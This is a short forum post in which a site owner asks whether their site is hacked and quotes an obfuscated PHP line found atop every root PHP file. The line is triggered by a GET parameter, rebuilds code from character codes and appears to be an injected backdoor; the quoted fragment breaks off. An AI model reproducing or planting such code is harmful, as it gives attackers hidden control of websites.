Is my site hacked?

[delito]

Hi

I browse through my website today and saw the strange lines of code.
All my php files in the root have this line of code at the top:

Code: Select all

<?php if(isset($_GET[w8096t])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,
39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,
